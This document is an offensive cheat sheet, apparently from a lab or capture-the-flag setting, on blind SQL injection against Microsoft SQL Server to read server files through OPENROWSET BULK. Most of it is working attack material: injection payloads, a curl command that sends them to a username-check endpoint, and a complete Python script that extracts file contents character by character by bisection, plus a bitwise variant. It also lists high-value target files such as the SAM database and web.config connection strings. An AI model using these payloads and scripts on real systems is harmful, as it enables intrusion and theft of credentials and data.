With correct permissions, we can read files via SQL injection using the OPENROWSET function with bulk operations.
SELECT LEN(BulkColumn) FROM OPENROWSET(BULK '<path>', SINGLE_CLOB) AS xSELECT BulkColumn FROM OPENROWSET(BULK '<path>', SINGLE_CLOB) AS x| Option | Storage Type | Use Case |
|---|---|---|
SINGLE_CLOB |
varchar | Text files |
SINGLE_BLOB |
varbinary | Binary files |
SINGLE_NCLOB |
nvarchar | Unicode text |
Bulk operations require one of:
ADMINISTER BULK OPERATIONSADMINISTER DATABASE BULK OPERATIONS
SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE')
WHERE permission_name = 'ADMINISTER BULK OPERATIONS'
OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS';maria' AND (SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE')
WHERE permission_name = 'ADMINISTER BULK OPERATIONS'
OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS')>0;--# Encode
printf %s "maria' AND (SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name = 'ADMINISTER BULK OPERATIONS' OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS') > 0;--" | jq -rR @uri
# Send
curl -s "http://<TARGET>/api/check-username.php?u=<ENCODED_PAYLOAD>"Response: taken = Permissions granted ✅
- Find file length using
LEN() - Extract each character using
SUBSTRING()+ASCII() - Use bisection for efficiency
#!/usr/bin/env python3
import requests
import json
import sys
from urllib.parse import quote_plus
target = "maria"
def oracle(query):
payload = quote_plus(f"{target}' AND ({query})-- -")
response = requests.get(f"http://<TARGET>/api/check-username.php?u={payload}")
jsonResponse = json.loads(response.text)
return jsonResponse['status'] == 'taken'
# Target file
filePath = r'C:\Windows\System32\flag.txt'
# Step 1: Get file length
length = 1
while not oracle(f"(SELECT LEN(BulkColumn) FROM OPENROWSET(BULK '{filePath}', SINGLE_CLOB) AS x) = {length}"):
length += 1
print(f"[*] File length = {length}")
# Step 2: Extract contents using bisection
print("[*] File = ", end='')
for i in range(1, length + 1):
low = 0
high = 127
while low <= high:
mid = (low + high) // 2
query = f"(SELECT ASCII(SUBSTRING(BulkColumn, {i}, 1)) FROM OPENROWSET(BULK '{filePath}', SINGLE_CLOB) AS x) BETWEEN {low} AND {mid}"
if oracle(query):
high = mid - 1
else:
low = mid + 1
print(chr(low), end='')
sys.stdout.flush()
print()$ python3 fileRead.py
[*] File length = 37
[*] File = [FILE_CONTENTS](SELECT LEN(BulkColumn) FROM OPENROWSET(BULK 'C:\path\file.txt', SINGLE_CLOB) AS x) = N(SELECT ASCII(SUBSTRING(BulkColumn, N, 1)) FROM OPENROWSET(BULK 'C:\path\file.txt', SINGLE_CLOB) AS x) = ASCII_VALUE(SELECT ASCII(SUBSTRING(BulkColumn, N, 1)) FROM OPENROWSET(BULK 'C:\path\file.txt', SINGLE_CLOB) AS x) BETWEEN low AND mid| File | Path |
|---|---|
| Hosts | C:\Windows\System32\drivers\etc\hosts |
| SAM (requires SYSTEM) | C:\Windows\System32\config\SAM |
| Web config | C:\inetpub\wwwroot\web.config |
| IIS logs | C:\inetpub\logs\LogFiles\ |
| File | Purpose |
|---|---|
web.config |
Connection strings, secrets |
appsettings.json |
.NET Core config |
connectionStrings.config |
Database credentials |
- Requires bulk operation permissions
- File must be accessible to SQL Server service account
- Large files take long time (character-by-character)
- Binary files need
SINGLE_BLOBand hex encoding
def extract_char(position):
c = 0
for p in range(7):
query = f"(SELECT ASCII(SUBSTRING(BulkColumn, {position}, 1)) FROM OPENROWSET(BULK '{filePath}', SINGLE_CLOB) AS x) & {2**p} > 0"
if oracle(query):
c |= 2**p
return chr(c)Extract multiple characters simultaneously using threading.
If file doesn't exist, query will error. Test with known file first.
Service account may not have read access to file.
Large files may cause query timeout. Adjust script accordingly.
SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE')
WHERE permission_name LIKE '%BULK%';SELECT BulkColumn FROM OPENROWSET(BULK 'path', SINGLE_CLOB) AS xSELECT LEN(BulkColumn) FROM OPENROWSET(BULK 'path', SINGLE_CLOB) AS x